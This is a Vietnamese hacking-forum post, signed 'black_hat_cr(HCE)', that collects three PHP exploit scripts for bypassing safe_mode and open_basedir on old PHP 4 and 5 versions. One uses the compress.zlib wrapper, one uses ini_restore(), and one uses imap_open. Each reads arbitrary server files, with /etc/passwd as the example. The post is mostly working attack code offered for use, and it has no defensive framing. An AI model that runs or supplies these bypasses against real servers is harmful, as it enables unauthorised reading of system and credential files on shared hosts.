1 vài chiêu thức local !
--------------------------------------------------------------------------------
sưu tầm từ nhiều người !
1. Cho php 4.2 và 5.12 trở xuống: thanks to Maksymilian Arciemowicz
Code:
<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz
*/
$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
echo "<PRE>\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET like
?file=/etc/passwd\n <B><CENTER><FONT
COLOR=\"RED\">SecurityReason.Com
Exploit</FONT></CENTER></B>");
} else {
$file=$_POST['file'];
}
} else {
$file=$_GET['file'];
}
}
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$file, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "<B>--- Start File ".htmlspecialchars($file)."
-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File
".htmlspecialchars($file)." ---------------\n";
unlink($temp);
die("\n<FONT COLOR=\"RED\"><B>File
".htmlspecialchars($file)." has been already loaded. SecurityReason Team
;]</B></FONT>");
} else {
die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
access.</CENTER></FONT>");
}
?>
2. cho php 4.4 và 5.16 trở xuống (thanks to Maksymilian Arciemowicz) local qua php_admin* bypass by ini_restore() !!
Code:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
3.
Code:
<?
$vnforce = @imap_open("/path/file", "", "");
$result = @imap_body($vnforce, 1);
echo $result; @imap_close($vnforce);
?>
black_hat_cr(HCE)